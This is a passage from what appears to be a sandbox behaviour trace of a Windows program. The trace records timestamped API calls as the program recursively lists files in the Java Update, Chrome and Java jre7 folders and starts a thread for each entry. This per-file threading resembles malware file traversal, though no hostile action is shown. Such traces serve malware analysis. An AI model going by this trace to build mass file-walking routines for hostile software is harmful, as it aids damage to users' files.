Files\\Java\\Java Update\\") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\" [0046.768] wcscat (in: _Dest=0x4191a8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\*") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\*" [0046.768] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x45a638 [0046.768] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\*", lpFindFileData=0x45a638 | out: lpFindFileData=0x45a638*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801d42c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80220580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4404a0 [0046.769] wcscmp (_String1=".", _String2=".") returned 0 [0046.769] FindNextFileW (in: hFindFile=0x4404a0, lpFindFileData=0x45a638 | out: lpFindFileData=0x45a638*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801d42c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80220580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.769] wcscmp (_String1="..", _String2=".") returned 1 [0046.769] wcscmp (_String1="..", _String2="..") returned 0 [0046.769] FindNextFileW (in: hFindFile=0x4404a0, lpFindFileData=0x45a638 | out: lpFindFileData=0x45a638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa1fc00, ftCreationTime.dwHighDateTime=0x1ce76b1, ftLastAccessTime.dwLowDateTime=0x801fa420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xaa1fc00, ftLastWriteTime.dwHighDateTime=0x1ce76b1, nFileSizeHigh=0x0, nFileSizeLow=0x3cb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaucheck.exe", cAlternateFileName="")) returned 1 [0046.769] wcscmp (_String1="jaucheck.exe", _String2=".") returned 1 [0046.769] wcscmp (_String1="jaucheck.exe", _String2="..") returned 1 [0046.769] FindNextFileW (in: hFindFile=0x4404a0, lpFindFileData=0x45a638 | out: lpFindFileData=0x45a638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83fa200, ftCreationTime.dwHighDateTime=0x1ce76b1, ftLastAccessTime.dwLowDateTime=0x801fa420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x83fa200, ftLastWriteTime.dwHighDateTime=0x1ce76b1, nFileSizeHigh=0x0, nFileSizeLow=0x39780, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaureg.exe", cAlternateFileName="")) returned 1 [0046.769] wcscmp (_String1="jaureg.exe", _String2=".") returned 1 [0046.769] wcscmp (_String1="jaureg.exe", _String2="..") returned 1 [0046.769] FindNextFileW (in: hFindFile=0x4404a0, lpFindFileData=0x45a638 | out: lpFindFileData=0x45a638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dd4800, ftCreationTime.dwHighDateTime=0x1ce76b1, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x5dd4800, ftLastWriteTime.dwHighDateTime=0x1ce76b1, nFileSizeHigh=0x0, nFileSizeLow=0x7bd80, dwReserved0=0x0, dwReserved1=0x0, cFileName="jucheck.exe", cAlternateFileName="")) returned 1 [0046.769] wcscmp (_String1="jucheck.exe", _String2=".") returned 1 [0046.769] wcscmp (_String1="jucheck.exe", _String2="..") returned 1 [0046.769] FindNextFileW (in: hFindFile=0x4404a0, lpFindFileData=0x45a638 | out: lpFindFileData=0x45a638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x249c100, ftCreationTime.dwHighDateTime=0x1ce76b1, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x249c100, ftLastWriteTime.dwHighDateTime=0x1ce76b1, nFileSizeHigh=0x0, nFileSizeLow=0x3e180, dwReserved0=0x0, dwReserved1=0x0, cFileName="jusched.exe", cAlternateFileName="")) returned 1 [0046.769] wcscmp (_String1="jusched.exe", _String2=".") returned 1 [0046.769] wcscmp (_String1="jusched.exe", _String2="..") returned 1 [0046.769] FindNextFileW (in: hFindFile=0x4404a0, lpFindFileData=0x45a638 | out: lpFindFileData=0x45a638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeb63a00, ftCreationTime.dwHighDateTime=0x1ce76b0, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xfeb63a00, ftLastWriteTime.dwHighDateTime=0x1ce76b0, nFileSizeHigh=0x0, nFileSizeLow=0x583, dwReserved0=0x0, dwReserved1=0x0, cFileName="task.xml", cAlternateFileName="")) returned 1 [0046.769] wcscmp (_String1="task.xml", _String2=".") returned 1 [0046.769] wcscmp (_String1="task.xml", _String2="..") returned 1 [0046.769] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x447100 [0046.769] wcscpy (in: _Dest=0x447100, _Source="C:\\Program Files (x86)\\Common Files\\Java\\Java Update" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java\\Java Update") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update" [0046.769] wcscat (in: _Dest=0x447100, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\" [0046.769] wcscat (in: _Dest=0x447100, _Source="task.xml" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task.xml") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task.xml" [0048.887] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x447100, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x270 [0048.887] FindNextFileW (in: hFindFile=0x4404a0, lpFindFileData=0x45a638 | out: lpFindFileData=0x45a638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeb63a00, ftCreationTime.dwHighDateTime=0x1ce76b0, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xfeb63a00, ftLastWriteTime.dwHighDateTime=0x1ce76b0, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x0, dwReserved1=0x0, cFileName="task64.xml", cAlternateFileName="")) returned 1 [0048.888] wcscmp (_String1="task64.xml", _String2=".") returned 1 [0048.888] wcscmp (_String1="task64.xml", _String2="..") returned 1 [0048.888] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x446ff0 [0048.888] wcscpy (in: _Dest=0x446ff0, _Source="C:\\Program Files (x86)\\Common Files\\Java\\Java Update" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java\\Java Update") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update" [0048.888] wcscat (in: _Dest=0x446ff0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\" [0048.888] wcscat (in: _Dest=0x446ff0, _Source="task64.xml" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task64.xml") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task64.xml" [0048.888] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x446ff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x764 [0048.889] FindNextFileW (in: hFindFile=0x4404a0, lpFindFileData=0x45a638 | out: lpFindFileData=0x45a638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeb63a00, ftCreationTime.dwHighDateTime=0x1ce76b0, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xfeb63a00, ftLastWriteTime.dwHighDateTime=0x1ce76b0, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x0, dwReserved1=0x0, cFileName="task64.xml", cAlternateFileName="")) returned 0 [0048.889] FindClose (in: hFindFile=0x4404a0 | out: hFindFile=0x4404a0) returned 1 [0048.890] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45a638) returned 1 [0048.890] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4191a8) returned 1 [0048.890] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418aa0) returned 1 Thread: id = 232 os_tid = 0x93c [0046.773] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x66) returned 0x421428 [0046.773] wcscpy (in: _Dest=0x421428, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application" [0046.773] wcscat (in: _Dest=0x421428, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\" [0046.773] wcscat (in: _Dest=0x421428, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\*") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\*" [0046.774] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x45a8a0 [0046.774] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\*", lpFindFileData=0x45a8a0 | out: lpFindFileData=0x45a8a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440560 [0046.774] wcscmp (_String1=".", _String2=".") returned 0 [0046.774] FindNextFileW (in: hFindFile=0x440560, lpFindFileData=0x45a8a0 | out: lpFindFileData=0x45a8a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.774] wcscmp (_String1="..", _String2=".") returned 1 [0046.774] wcscmp (_String1="..", _String2="..") returned 0 [0046.774] FindNextFileW (in: hFindFile=0x440560, lpFindFileData=0x45a8a0 | out: lpFindFileData=0x45a8a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="58.0.3029.110", cAlternateFileName="580302~1.110")) returned 1 [0046.774] wcscmp (_String1="58.0.3029.110", _String2=".") returned 1 [0046.774] wcscmp (_String1="58.0.3029.110", _String2="..") returned 1 [0046.774] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x447188 [0046.774] wcscpy (in: _Dest=0x447188, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application" [0046.774] wcscat (in: _Dest=0x447188, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\" [0046.774] wcscat (in: _Dest=0x447188, _Source="58.0.3029.110" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" [0047.894] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x447188, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x54c [0047.895] FindNextFileW (in: hFindFile=0x440560, lpFindFileData=0x45a8a0 | out: lpFindFileData=0x45a8a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7344dbd0, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x117358, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.exe", cAlternateFileName="")) returned 1 [0047.895] wcscmp (_String1="chrome.exe", _String2=".") returned 1 [0047.895] wcscmp (_String1="chrome.exe", _String2="..") returned 1 [0047.895] FindNextFileW (in: hFindFile=0x440560, lpFindFileData=0x45a8a0 | out: lpFindFileData=0x45a8a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x19a, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.VisualElementsManifest.xml", cAlternateFileName="CHROME~1.XML")) returned 1 [0047.895] wcscmp (_String1="chrome.VisualElementsManifest.xml", _String2=".") returned 1 [0047.895] wcscmp (_String1="chrome.VisualElementsManifest.xml", _String2="..") returned 1 [0047.895] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa6) returned 0x424740 [0047.895] wcscpy (in: _Dest=0x424740, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application" [0047.895] wcscat (in: _Dest=0x424740, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\" [0047.895] wcscat (in: _Dest=0x424740, _Source="chrome.VisualElementsManifest.xml" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml" [0047.895] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x424740, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e8 [0047.896] FindNextFileW (in: hFindFile=0x440560, lpFindFileData=0x45a8a0 | out: lpFindFileData=0x45a8a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f252e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f252e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupMetrics", cAlternateFileName="SETUPM~1")) returned 1 [0047.896] wcscmp (_String1="SetupMetrics", _String2=".") returned 1 [0047.896] wcscmp (_String1="SetupMetrics", _String2="..") returned 1 [0047.896] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x447760 [0047.896] wcscpy (in: _Dest=0x447760, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application" [0047.896] wcscat (in: _Dest=0x447760, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\" [0047.896] wcscat (in: _Dest=0x447760, _Source="SetupMetrics" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics" [0047.897] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x447760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6ec [0047.897] FindNextFileW (in: hFindFile=0x440560, lpFindFileData=0x45a8a0 | out: lpFindFileData=0x45a8a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f252e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f252e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupMetrics", cAlternateFileName="SETUPM~1")) returned 0 [0047.897] FindClose (in: hFindFile=0x440560 | out: hFindFile=0x440560) returned 1 [0047.898] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45a8a0) returned 1 [0047.898] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x421428) returned 1 [0047.898] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x420f58) returned 1 Thread: id = 233 os_tid = 0x94c [0046.782] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4e) returned 0x413d30 [0046.782] wcscpy (in: _Dest=0x413d30, _Source="C:\\Program Files (x86)\\Java\\jre7\\bin" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin") returned="C:\\Program Files (x86)\\Java\\jre7\\bin" [0046.783] wcscat (in: _Dest=0x413d30, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin\\") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\" [0046.783] wcscat (in: _Dest=0x413d30, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\*" [0046.783] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x45ab08 [0046.783] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\*", lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4409e0 [0047.111] wcscmp (_String1=".", _String2=".") returned 0 [0047.111] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.521] wcscmp (_String1="..", _String2=".") returned 1 [0048.521] wcscmp (_String1="..", _String2="..") returned 0 [0048.521] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x11e7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="awt.dll", cAlternateFileName="")) returned 1 [0048.521] wcscmp (_String1="awt.dll", _String2=".") returned 1 [0048.521] wcscmp (_String1="awt.dll", _String2="..") returned 1 [0048.521] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x255a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="axbridge.dll", cAlternateFileName="")) returned 1 [0048.521] wcscmp (_String1="axbridge.dll", _String2=".") returned 1 [0048.522] wcscmp (_String1="axbridge.dll", _String2="..") returned 1 [0048.522] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x76eb12e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x76eb12e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="client", cAlternateFileName="")) returned 1 [0048.522] wcscmp (_String1="client", _String2=".") returned 1 [0048.522] wcscmp (_String1="client", _String2="..") returned 1 [0048.522] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x58) returned 0x44a190 [0048.522] wcscpy (in: _Dest=0x44a190, _Source="C:\\Program Files (x86)\\Java\\jre7\\bin" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin") returned="C:\\Program Files (x86)\\Java\\jre7\\bin" [0048.522] wcscat (in: _Dest=0x44a190, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin\\") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\" [0048.522] wcscat (in: _Dest=0x44a190, _Source="client" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin\\client") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\client" [0048.999] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x44a190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x424 [0049.000] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x22ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="dcpr.dll", cAlternateFileName="")) returned 1 [0049.000] wcscmp (_String1="dcpr.dll", _String2=".") returned 1 [0049.000] wcscmp (_String1="dcpr.dll", _String2="..") returned 1 [0049.000] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xf5a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="decora-sse.dll", cAlternateFileName="DECORA~1.DLL")) returned 1 [0049.000] wcscmp (_String1="decora-sse.dll", _String2=".") returned 1 [0049.000] wcscmp (_String1="decora-sse.dll", _String2="..") returned 1 [0049.000] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x58fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy.dll", cAlternateFileName="")) returned 1 [0049.000] wcscmp (_String1="deploy.dll", _String2=".") returned 1 [0049.000] wcscmp (_String1="deploy.dll", _String2="..") returned 1 [0049.000] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dtplugin", cAlternateFileName="")) returned 1 [0049.000] wcscmp (_String1="dtplugin", _String2=".") returned 1 [0049.000] wcscmp (_String1="dtplugin", _String2="..") returned 1 [0049.000] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5c) returned 0x48d250 [0049.000] wcscpy (in: _Dest=0x48d250, _Source="C:\\Program Files (x86)\\Java\\jre7\\bin" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin") returned="C:\\Program Files (x86)\\Java\\jre7\\bin" [0049.000] wcscat (in: _Dest=0x48d250, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin\\") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\" [0049.000] wcscat (in: _Dest=0x48d250, _Source="dtplugin" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin" [0049.000] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x48d250, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x830 [0049.002] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x63a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_shmem.dll", cAlternateFileName="")) returned 1 [0049.002] wcscmp (_String1="dt_shmem.dll", _String2=".") returned 1 [0049.002] wcscmp (_String1="dt_shmem.dll", _String2="..") returned 1 [0049.002] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, 